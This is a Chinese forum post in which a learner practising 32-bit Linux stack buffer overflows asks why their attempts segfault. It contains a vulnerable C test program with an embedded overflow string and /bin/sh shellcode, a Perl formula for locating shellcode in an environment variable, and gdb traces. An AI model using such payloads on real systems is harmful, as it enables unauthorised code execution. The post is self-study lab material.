- 论坛徽章:
- 0
|
在看《网络渗透技术》学习 Linux 32 位缓冲区溢出技术,看到利用方法的时候,个人理解大致有三种:
1,大缓冲区,将 shellcode 覆盖进此缓冲区中,然后使 eip 指向缓冲区
2,小缓冲区,将 shellcode 覆盖到函数返回地址后面,然后使 eip 指向 shellcode 区域
3,将 shellcode 放入系统环境变量中,然后使 eip 指向此环境变量地址
1 和 2 的缓冲区地址会有变化,需要填充 NOP (0x90)以保证可以执行 shellcode,3 可以算出 shellcode 的内存准确地址。
我实验的环境:
kali 4.3.0-kali1-686
gcc (Debian 5.3.1-7) 5.3.1 20160121
GNU gdb (Debian 7.11.1-2) 7.11.1
问题:
1,在实验第 3 步时,发现此时环境变量地址已不是如下计算方法- $path="/home/san/exploit/vulnerable";
- $ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);
复制代码 在用 gdb (x/s 地址) 调试时,从 0xbffffffc 向低地址查看字串,查了很长的地址并没有发现此环境变量。
请问是我理解错了,还是现在的环境已经变了,还可以算出环境变量的准确位置吗?
2,我在实验将 shellcode 覆盖到函数返回地址后面,然后将 eip 指向此 shellcode 时,也没有成功,报错(0xbffff990 是 eip 的值,也是 shellcode 内存地址):
Program received signal SIGSEGV, Segmentation fault.
0xbffff990 in ?? ()
实验代码:- #include <stdio.h>
- #include <string.h>
- char largebuff[]=
- "\xbf\xff\xf8\x60\xbf\xff\xf8\x60\xbf\xff\xf8\x60\xbf\xff\xf8\x60"
- "\xbf\xff\xf8\x60\xbf\xff\xf8\x60\xa8\xf9\xff\xbf\x90\xf9\xff\xbf" // 覆盖地址 0xbffff990
- "\x68\x52\xd2\x31\x68\x73\x2f\x6e\x62\x2f\x2f\x68" // shellcode
- "\x52\xe3\x89\x69\x8d\xe1\x89\x53\x80\xcd\x0b\x42";
- int test (char arg[])
- {
- char vulnbuff[16];
- strcpy (vulnbuff, largebuff);
- printf ("\n%s\n", vulnbuff);
- getchar(); /* for debug */
- }
- int main (int argc, char *argv[])
- {
- test(argv[1]);
- }
复制代码 上面代码在返回地址与 shellcode 之间并没有加入 NOP,是因为我之前加了,也报此错误,然后去掉了。
gdb 调试信息:
(gdb) disas test
Dump of assembler code for function test:
0x0804845b <+0>: push %ebp
0x0804845c <+1>: mov %esp,%ebp
0x0804845e <+3>: sub $0x18,%esp
0x08048461 <+6>: sub $0x8,%esp
0x08048464 <+9>: push $0x80497c0
0x08048469 <+14>: lea -0x18(%ebp),%eax
0x0804846c <+17>: push %eax
0x0804846d <+18>: call 0x8048330 <strcpy@plt>
0x08048472 <+23>: add $0x10,%esp
0x08048475 <+26>: sub $0x8,%esp
0x08048478 <+29>: lea -0x18(%ebp),%eax
0x0804847b <+32>: push %eax
0x0804847c <+33>: push $0x8048550
0x08048481 <+38>: call 0x8048310 <printf@plt>
0x08048486 <+43>: add $0x10,%esp
0x08048489 <+46>: call 0x8048320 <getchar@plt>
0x0804848e <+51>: nop
0x0804848f <+52>: leave
0x08048490 <+53>: ret
End of assembler dump.
(gdb) b *test+23
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /root/Desktop/vulnerable
Breakpoint 1, 0x08048472 in test ()
(gdb) x/20x $esp
0xbffff960: 0xbffff970 0x080497c0 0xb7e15dc8 0xb7ffd9d0
0xbffff970: 0x60f8ffbf 0x60f8ffbf 0x60f8ffbf 0x60f8ffbf
0xbffff980: 0x60f8ffbf 0x60f8ffbf 0xbffff9a8 0xbffff990 // 返回地址 bffff990
0xbffff990: 0x31d25268 0x6e2f7368 0x682f2f62 0x6989e352 // shellcode
0xbffff9a0: 0x5389e18d 0x420bcd80 0x00000000 0xb7e215f7
(gdb) c
Continuing.
``````hR1hs/nb//hRiSB
a
Program received signal SIGSEGV, Segmentation fault.
0xbffff990 in ?? ()
我 google 了一下,段错误可能是由于指向的内存不可写你写,不可执行你执行。
我又将返回返回地址修改为 0x080484b5 (正常返回 main 函数的地址)是可以执行的。
请问,是否是我理解错了利用方式,还是现在的内存堆栈中地址已变得不可执行?如果现在堆栈地址不可执行,那么现在的缓冲区漏洞该怎么利用? |
|